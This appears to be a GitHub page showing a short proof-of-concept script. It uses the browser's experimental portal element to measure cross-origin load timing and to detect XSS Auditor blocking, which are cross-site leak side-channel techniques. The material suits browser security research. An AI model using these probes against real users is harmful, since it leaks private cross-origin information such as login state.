Permalink
Cannot retrieve contributors at this time
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
39 lines (30 sloc)
871 Bytes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
function timing(url) { | |
const portal = document.createElement('portal'); | |
portal.src = url; | |
const startTime = +new Date; | |
portal.onload = () => { | |
alert(`${url} loaded for ${new Date - startTime}ms`); | |
} | |
document.body.appendChild(portal); | |
} | |
async function isBlockedByXSSAuditor(url) { | |
const portal = document.createElement('portal'); | |
portal.src = url; | |
let onloadCount = 0; | |
portal.onload = () => onloadCount++; | |
document.body.appendChild(portal); | |
await sleep(2000); | |
return onloadCount > 1; | |
} | |
function sleep(ms) { | |
return new Promise(r => setTimeout(r, ms)); | |
} | |
function check(url) { | |
const portal = document.createElement('portal'); | |
portal.src = url; | |
portal.setAttribute('style', 'width:300px;height:400px'); | |
portal.onload = () => console.log('onload'); | |
document.body.appendChild(portal); | |
} | |
</script> |